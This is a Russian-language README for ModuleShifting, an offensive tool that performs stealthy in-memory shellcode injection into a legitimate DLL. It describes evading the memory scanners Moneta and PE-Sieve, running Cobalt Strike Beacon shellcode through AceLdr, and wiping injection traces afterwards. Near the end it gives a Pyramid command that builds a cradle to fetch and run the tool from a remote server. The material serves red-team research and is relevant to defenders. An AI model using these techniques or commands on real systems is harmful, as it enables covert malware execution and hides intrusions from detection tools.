
Более скрытный вариант техник инъекции Module Stomping и Module Overloading, уменьшающий количество IoC в памяти. Реализовано на Python ctypes.
Этот инструмент был представлен на 2023 x33fcon talk: "Улучшение скрытности методов инъекции в память" [Видео] [Статья в блоге]
ModuleShifting — это более скрытный вариант техник инъекции Module Stomping и Module overloading. Он реализован на Python ctypes, что позволяет выполнять его полностью в памяти через интерпретатор Python и Pyramid, избегая использования скомпилированных загрузчиков.
Техника может использоваться с PE- или shellcode-нагрузками, однако более скрытный вариант предназначен для shellcode-нагрузок, которые должны быть функционально независимы от конечной нагрузки, загружаемой shellcode-ом.
ModuleShifting при использовании с shellcode-нагрузкой выполняет следующие операции:

При использовании PE-нагрузки ModuleShifting выполняет следующие операции:
ModuleShifting может использоваться для внедрения нагрузки без динамического выделения памяти (т.е. VirtualAlloc) и по сравнению с Module Stomping и Module Overloading является более скрытным, поскольку уменьшает количество IoC, создаваемых самой техникой внедрения.
Существует 3 основных различия между Module Shifting и некоторыми публичными реализациями Module Stomping (одна от Bobby Cooke и WithSecure)
Различия между Module Shifting и Module Overloading следующие:
Используя функционально независимую shellcode-нагрузку, такую как AceLdr Beacon Stageless shellcode, ModuleShifting способен выполнять локальное внедрение без динамического выделения памяти и на данный момент генерирует ноль IoC при сканировании Moneta и PE-Sieve. Я понимаю, что спящие нагрузки AceLdr могут быть обнаружены другими отличными инструментами, такими как Hunt-Sleeping-Beacon, но здесь акцент сделан на самой технике внедрения, а не на нагрузке. В нашем случае повышение скрытности внедрения обеспечивается функциональной независимостью shellcode, что позволяет восстановить записанные вредоносные байты до исходного содержимого, эффективно стирая следы внедрения.
Вся информация и материалы предоставлены только в образовательных целях. Следуйте инструкциям на свой страх и риск. Ни автор, ни его работодатель не несут ответственности за любой прямой или косвенный ущерб или убытки, возникшие у какого-либо лица или организации.
Эта работа стала возможной благодаря знаниям и инструментам, которыми поделились такие невероятные люди, как Aleksandra Doniec @hasherezade, Forest Orr и Kyle Avery. Я активно использовал Moneta, PeSieve, PE-Bear и AceLdr на протяжении всего процесса обучения, и они стали ключевыми для моего понимания этой темы.
ModuleShifting можно использовать с Pyramid и интерпретатором Python для выполнения локального внедрения процесса полностью в памяти, избегая скомпилированных загрузчиков.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
Для успешного выполнения этой техники следует использовать shellcode-нагрузку, способную загружать дополнительную самодостаточную нагрузку в другую область памяти. ModuleShifting был протестирован с нагрузкой AceLdr, которая может загружать полную копию Beacon в кучу, тем самым разрывая функциональную зависимость от исходного shellcode. Эта техника будет работать с любой shellcode-нагрузкой, обладающей подобными возможностями. Таким образом, исходный shellcode становится бесполезным после выполнения, и нет причин оставлять его в памяти как IoC.
Также следует выбрать хостера DLL с достаточным пространством для shellcode в целевом разделе, иначе техника не сработает.
Module Stomping и Module Shifting требуют записи shellcode в память легитимной DLL. ModuleShifting устранит этот IoC после фазы очистки, но индикаторы могут быть замечены сканерами с возможностями проверки в реальном времени.
